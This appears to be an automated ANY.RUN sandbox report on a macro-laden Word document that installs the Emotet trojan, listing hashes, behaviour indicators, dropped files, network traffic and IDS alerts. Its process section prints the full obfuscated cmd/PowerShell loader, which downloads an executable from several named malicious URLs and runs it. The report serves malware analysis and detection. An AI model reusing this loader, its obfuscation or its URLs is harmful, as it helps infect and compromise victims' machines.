analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

ATT568222162345347.doc

Full analysis: https://app.any.run/tasks/78172dbe-5aef-4600-9c3b-368fa55e7d06
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 18, 2019, 13:29:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
emotet
feodo
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5:

71E59B0920DACB3ED2AA4C17258D7BEB

SHA1:

CAEA9B8EEC88B90633321D5584BE0A79CC94E7BA

SHA256:

5B40207257CAA451FDCD77260EF977345AE3D5978BFBFAD8D5F409636520D799

SSDEEP:

3072:SinJXfT7nasKiNKDzaJFUKc0UTE7yZRUV7RJeOzi80:5JXr7nbpEDzYUTE7yZRVUi80

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2816)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2816)
    • Application was dropped or rewritten from another process

      • 204.exe (PID: 2992)
      • 204.exe (PID: 3784)
      • wabmetagen.exe (PID: 3700)
      • wabmetagen.exe (PID: 3216)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2408)
    • EMOTET was detected

      • wabmetagen.exe (PID: 3700)
    • Changes the autorun value in the registry

      • wabmetagen.exe (PID: 3700)
  • SUSPICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3816)
    • Creates files in the user directory

      • powershell.exe (PID: 2408)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2408)
      • 204.exe (PID: 3784)
    • Starts itself from another location

      • 204.exe (PID: 3784)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2816)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2816)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Microsoft Office XML Flat File Format Word Document (ASCII) (65.1)
.xml | Microsoft Office XML Flat File Format (ASCII) (31)
.xml | Generic XML (ASCII) (2.3)
.html | HyperText Markup Language (1.4)

EXIF

XMP

WordDocumentMacrosPresent: yes
WordDocumentEmbeddedObjPresent: no
WordDocumentOcxPresent: no
WordDocumentIgnoreSubtreeVal: http://schemas.microsoft.com/office/word/2003/wordml/sp2
WordDocumentDocumentPropertiesRevision: 1
WordDocumentDocumentPropertiesTotalTime: -
WordDocumentDocumentPropertiesCreated: 2019:01:18 12:30:00Z
WordDocumentDocumentPropertiesLastSaved: 2019:01:18 12:30:00Z
WordDocumentDocumentPropertiesPages: 1
WordDocumentDocumentPropertiesWords: 11
WordDocumentDocumentPropertiesCharacters: 67
WordDocumentDocumentPropertiesLines: 1
WordDocumentDocumentPropertiesParagraphs: 1
WordDocumentDocumentPropertiesCharactersWithSpaces: 77
WordDocumentDocumentPropertiesVersion: 16
WordDocumentFontsDefaultFontsAscii: Calibri
WordDocumentFontsDefaultFontsFareast: Calibri
WordDocumentFontsDefaultFontsH-ansi: Calibri
WordDocumentFontsDefaultFontsCs: Times New Roman
WordDocumentFontsFontName: Times New Roman
WordDocumentFontsFontPanose-1Val: 02020603050405020304
WordDocumentFontsFontCharsetVal: 00
WordDocumentFontsFontFamilyVal: Roman
WordDocumentFontsFontPitchVal: variable
WordDocumentFontsFontSigUsb-0: E0002AFF
WordDocumentFontsFontSigUsb-1: C0007841
WordDocumentFontsFontSigUsb-2: 00000009
WordDocumentFontsFontSigUsb-3: 00000000
WordDocumentFontsFontSigCsb-0: 000001FF
WordDocumentFontsFontSigCsb-1: 00000000
WordDocumentStylesVersionOfBuiltInStylenamesVal: 7
WordDocumentStylesLatentStylesDefLockedState: off
WordDocumentStylesLatentStylesLatentStyleCount: 375
WordDocumentStylesLatentStylesLsdExceptionName: Normal
WordDocumentStylesStyleType: paragraph
WordDocumentStylesStyleDefault: on
WordDocumentStylesStyleStyleId: Normal
WordDocumentStylesStyleNameVal: Normal
WordDocumentStylesStylePPrSpacingAfter: 160
WordDocumentStylesStylePPrSpacingLine: 259
WordDocumentStylesStylePPrSpacingLine-rule: auto
WordDocumentStylesStyleRPrFontVal: Calibri
WordDocumentStylesStyleRPrSzVal: 22
WordDocumentStylesStyleRPrSz-csVal: 22
WordDocumentStylesStyleRPrLangVal: EN-US
WordDocumentStylesStyleRPrLangFareast: EN-US
WordDocumentStylesStyleRPrLangBidi: AR-SA
WordDocumentStylesStyleUiNameVal: Table Normal
WordDocumentStylesStyleTblPrTblIndW: -
WordDocumentStylesStyleTblPrTblIndType: dxa
WordDocumentStylesStyleTblPrTblCellMarTopW: -
WordDocumentStylesStyleTblPrTblCellMarTopType: dxa
WordDocumentStylesStyleTblPrTblCellMarLeftW: 108
WordDocumentStylesStyleTblPrTblCellMarLeftType: dxa
WordDocumentStylesStyleTblPrTblCellMarBottomW: -
WordDocumentStylesStyleTblPrTblCellMarBottomType: dxa
WordDocumentStylesStyleTblPrTblCellMarRightW: 108
WordDocumentStylesStyleTblPrTblCellMarRightType: dxa
WordDocumentStylesStyleBasedOnVal: Normal
WordDocumentStylesStyleLinkVal: BalloonTextChar
WordDocumentStylesStyleRsidVal: 005A24B1
WordDocumentStylesStyleRPrRFontsAscii: Tahoma
WordDocumentStylesStyleRPrRFontsH-ansi: Tahoma
WordDocumentStylesStyleRPrRFontsCs: Tahoma
WordDocumentDocSuppDataBinDataName: editdata.mso
WordDocumentDocSuppDataBinData: (Binary data 72290 bytes, use -b option to extract)
WordDocumentShapeDefaultsShapedefaultsExt: edit
WordDocumentShapeDefaultsShapedefaultsSpidmax: 1026
WordDocumentShapeDefaultsShapelayoutExt: edit
WordDocumentShapeDefaultsShapelayoutIdmapExt: edit
WordDocumentShapeDefaultsShapelayoutIdmapData: 1
WordDocumentDocPrViewVal: print
WordDocumentDocPrZoomPercent: 100
WordDocumentDocPrRemovePersonalInformation: -
WordDocumentDocPrDoNotEmbedSystemFonts: -
WordDocumentDocPrDefaultTabStopVal: 720
WordDocumentDocPrPunctuationKerning: -
WordDocumentDocPrCharacterSpacingControlVal: DontCompress
WordDocumentDocPrOptimizeForBrowser: -
WordDocumentDocPrDoNotSaveWebPagesAsSingleFile: -
WordDocumentDocPrPixelsPerInchVal: 120
WordDocumentDocPrValidateAgainstSchema: -
WordDocumentDocPrSaveInvalidXMLVal: off
WordDocumentDocPrIgnoreMixedContentVal: off
WordDocumentDocPrAlwaysShowPlaceholderTextVal: off
WordDocumentDocPrCompatBreakWrappedTables: -
WordDocumentDocPrCompatSnapToGridInCell: -
WordDocumentDocPrCompatWrapTextWithPunct: -
WordDocumentDocPrCompatUseAsianBreakRules: -
WordDocumentDocPrCompatDontGrowAutofit: -
WordDocumentDocPrRsidsRsidRootVal: 005E6EE1
WordDocumentDocPrRsidsRsidVal: 005A24B1
WordDocumentBodySectPRsidR: 005E6EE1
WordDocumentBodySectPRsidRDefault: 00B333F0
WordDocumentBodySectPRRsidRPr: 00A73BF7
WordDocumentBodySectPRRPrNoProof: -
WordDocumentBodySectPRPictShapetypeId: _x0000_t75
WordDocumentBodySectPRPictShapetypeCoordsize: 21600,21600
WordDocumentBodySectPRPictShapetypeSpt: 75
WordDocumentBodySectPRPictShapetypePreferrelative: t
WordDocumentBodySectPRPictShapetypePath: m@4@5l@4@11@9@11@9@5xe
WordDocumentBodySectPRPictShapetypeFilled: f
WordDocumentBodySectPRPictShapetypeStroked: f
WordDocumentBodySectPRPictShapetypeStrokeJoinstyle: miter
WordDocumentBodySectPRPictShapetypeFormulasFEqn: if lineDrawn pixelLineWidth 0
WordDocumentBodySectPRPictShapetypePathExtrusionok: f
WordDocumentBodySectPRPictShapetypePathGradientshapeok: t
WordDocumentBodySectPRPictShapetypePathConnecttype: rect
WordDocumentBodySectPRPictShapetypeLockExt: edit
WordDocumentBodySectPRPictShapetypeLockAspectratio: t
WordDocumentBodySectPRPictBinDataName: wordml://02000001.jpg
WordDocumentBodySectPRPictBinData: (Binary data 111550 bytes, use -b option to extract)
WordDocumentBodySectPRPictShapeId: Picture 1
WordDocumentBodySectPRPictShapeSpid: _x0000_i1025
WordDocumentBodySectPRPictShapeType: #_x0000_t75
WordDocumentBodySectPRPictShapeStyle: width:468pt;height:115.5pt;visibility:visible;mso-wrap-style:square
WordDocumentBodySectPRPictShapeImagedataSrc: wordml://02000001.jpg
WordDocumentBodySectPRPictShapeImagedataTitle: -
WordDocumentBodySectPRT:
WordDocumentBodySectSectPrRsidR: 005E6EE1
WordDocumentBodySectSectPrPgSzW: 12240
WordDocumentBodySectSectPrPgSzH: 15840
WordDocumentBodySectSectPrPgMarTop: 1440
WordDocumentBodySectSectPrPgMarRight: 1440
WordDocumentBodySectSectPrPgMarBottom: 1440
WordDocumentBodySectSectPrPgMarLeft: 1440
WordDocumentBodySectSectPrPgMarHeader: 720
WordDocumentBodySectSectPrPgMarFooter: 720
WordDocumentBodySectSectPrPgMarGutter: -
WordDocumentBodySectSectPrColsSpace: 720
WordDocumentBodySectSectPrDocGridLine-pitch: 360
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
7
Malicious processes
5
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs cmd.exe no specs powershell.exe 204.exe no specs 204.exe wabmetagen.exe no specs #EMOTET wabmetagen.exe

Process information

PID
CMD
Path
Indicators
Parent process
2816"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ATT568222162345347.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3816c:\Responsec47\Integrationo30\withdrawaliu95\..\..\..\windows\system32\cmd.exe /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Berkshirej45='Crescentt4';$CreditCardAccounti50=new-object Net.WebClient;$Granitez64='http://mimiabner.com/22D_ZGrV5aY_AvvRf@http://nt-group.kz/86Rzn_wmF7RyQ7F@http://hartarizkigraha.co.id/wp-admin/JF0bdEb_lnQt6dKQ@http://tasmatbaa.com/1MXeJC9_KSsQ7B@http://trend-studio.art/k6jaCgS_Ukfd_apNei38I6'.Split('@');$Granitez70='Trafficwaywb73';$Cambridgeshireik76 = '204';$Ridgesj14='Implementedph58';$Officerkc37=$env:public+'\'+$Cambridgeshireik76+'.exe';foreach($JBODfj17 in $Granitez64){try{$CreditCardAccounti50.DownloadFile($JBODfj17, $Officerkc37);$CreditCardAccountmq39='ShoesShoesd41';If ((Get-Item $Officerkc37).length -ge 80000) {Invoke-Item $Officerkc37;$FTPbj82='Portjf32';break;}}catch{}}$calculatejh80='Valleysik6'; c:\windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2408powershell $Berkshirej45='Crescentt4';$CreditCardAccounti50=new-object Net.WebClient;$Granitez64='http://mimiabner.com/22D_ZGrV5aY_AvvRf@http://nt-group.kz/86Rzn_wmF7RyQ7F@http://hartarizkigraha.co.id/wp-admin/JF0bdEb_lnQt6dKQ@http://tasmatbaa.com/1MXeJC9_KSsQ7B@http://trend-studio.art/k6jaCgS_Ukfd_apNei38I6'.Split('@');$Granitez70='Trafficwaywb73';$Cambridgeshireik76 = '204';$Ridgesj14='Implementedph58';$Officerkc37=$env:public+'\'+$Cambridgeshireik76+'.exe';foreach($JBODfj17 in $Granitez64){try{$CreditCardAccounti50.DownloadFile($JBODfj17, $Officerkc37);$CreditCardAccountmq39='ShoesShoesd41';If ((Get-Item $Officerkc37).length -ge 80000) {Invoke-Item $Officerkc37;$FTPbj82='Portjf32';break;}}catch{}}$calculatejh80='Valleysik6'; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2992"C:\Users\Public\204.exe" C:\Users\Public\204.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3784"C:\Users\Public\204.exe"C:\Users\Public\204.exe
204.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3216"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe204.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3700"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 394
Read events
980
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8989.tmp.cvr
MD5:
SHA256:
2816WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3D3D2B1C.jpg
MD5:
SHA256:
2408powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z7WCX6BSXQSJ179GFAIL.temp
MD5:
SHA256:
2408powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2408powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199502.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$T568222162345347.docpgc
MD5:290A261704FF6152017260C97DB2B01B
SHA256:60B4C7CF451EB31EC4A8C4C40B356D578E384FE40CC5110E67311AA7C44C0AB3
2408powershell.exeC:\Users\Public\204.exeexecutable
MD5:AAF509E9A4AECBB3181C73973426205C
SHA256:67268EF12BF5B4344E4B59388599471E589600A145BF7DFE35F811972EFD7806
2816WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:DA0EF51EC2928B8FD1B37B1075741641
SHA256:ABB62B801FA9EFFC4FA58117EA539C0C36280316D1933EA6ADB8DD96CD9885F3
3784204.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:AAF509E9A4AECBB3181C73973426205C
SHA256:67268EF12BF5B4344E4B59388599471E589600A145BF7DFE35F811972EFD7806
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2408
powershell.exe
GET
301
74.208.204.25:80
http://mimiabner.com/22D_ZGrV5aY_AvvRf
US
html
247 b
malicious
2408
powershell.exe
GET
200
74.208.204.25:80
http://mimiabner.com/22D_ZGrV5aY_AvvRf/
US
executable
148 Kb
malicious
3700
wabmetagen.exe
GET
200
190.138.221.70:53
http://190.138.221.70:53/
AR
binary
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3700
wabmetagen.exe
190.138.221.70:53
Telecom Argentina S.A.
AR
malicious
2408
powershell.exe
74.208.204.25:80
mimiabner.com
1&1 Internet SE
US
suspicious

DNS requests

Domain
IP
Reputation
mimiabner.com
  • 74.208.204.25
malicious

Threats

PID
Process
Class
Message
2408
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2408
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2408
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3700
wabmetagen.exe
A Network Trojan was detected
ET TROJAN HTTP GET Request on port 53 - Very Likely Hostile
3700
wabmetagen.exe
A Network Trojan was detected
SC SPYWARE Spyware Emotet Win32
3700
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
No debug info